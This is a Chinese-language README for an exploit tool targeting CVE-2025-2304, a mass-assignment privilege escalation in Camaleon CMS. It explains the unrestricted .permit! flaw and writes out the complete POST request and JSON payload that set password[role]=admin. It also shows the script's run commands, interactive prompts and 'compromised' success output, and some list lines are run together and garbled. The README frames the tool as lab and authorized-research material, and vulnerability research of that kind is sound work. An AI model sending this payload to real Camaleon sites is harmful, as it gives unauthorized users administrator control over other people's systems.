CVE-2025-2304 是 Camaleon CMS(版本 < 2.9.1)中的一个批量赋值(Mass Assignment)漏洞,允许已认证用户通过操纵密码更改请求中的 role 参数,将其权限提升为管理员。
Camaleon CMS 使用 Ruby on Rails,在 2.9.0 版本中,UsersController#updated_ajax 控制器存在批量赋值漏洞。该控制器使用了无限制的 .permit!,允许请求中发送的任何参数直接赋值给用户模型。
POST /admin/users/{user_id}/updated_ajaxpassword 命名空间内发送的 password[role]params.require(:password),然后应用 .permit!,后者不过滤任何参数role 字段注入 "admin" 值POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
password[role] 参数由 User.update(permitted_params) 处理,由于 .permit! 而直接赋值给用户记录,从而将权限从 user 提升为 admin。
# Python 3.6+
python3 --version
# 所需库
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
脚本会以交互方式询问:
http(s)://domain:port_cms_session 值(登录后获取)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] 服务器基础 URL(例如 http://localhost:3000) : http://192.168.1.100:8080
[?] 攻击者用户的用户 ID(例如 3) : 5
[?] 会话 cookie(_cms_session=VALUE) : _cms_session=abc123def456
当我发现这个漏洞时,我的第一反应是通过 Burp Suite 手动测试——而且确实成功了。但我想更进一步,将手动过程转化为可重复且可移植的方式,于是写了这个脚本。 除了利用该漏洞外,构建这个脚本也让我有机会处理一些我真正感兴趣的事情:
我并不是想取代 Burp 或 Caido。这些工具在交互式测试中不可替代。这只是当我不想重复操作时,选择写个脚本的结果。
此脚本仅限用于:
- 受控的实验环境
- 您拥有或已获得明确授权测试的系统
- 教育目的和授权研究
严格禁止:
- 在未授权系统上使用
- 恶意目的的应用
- 违反数据保护法律
- 危害第三方安全
作者不对该工具的滥用负责。
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS 批量赋值 ║
║ 权限提升:user → admin ║
║ [实验室 / 受控环境] ║
╚══════════════════════════════════════════════════════════════╝
[✔] 已获取 CSRF 令牌:abc123def456...
[✔] 漏洞利用成功:服务器确认了更新。
[✔] 状态:已攻破
用户 5 现在应具有 'admin' 角色。
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
代码采用模块化结构设计,便于:
.permit! 的问题欢迎以下类型的贡献:
请记住:本项目仅用于教育和授权研究目的。
最后更新:2025 年 4 月 | 由安全分析师(实验室环境)提供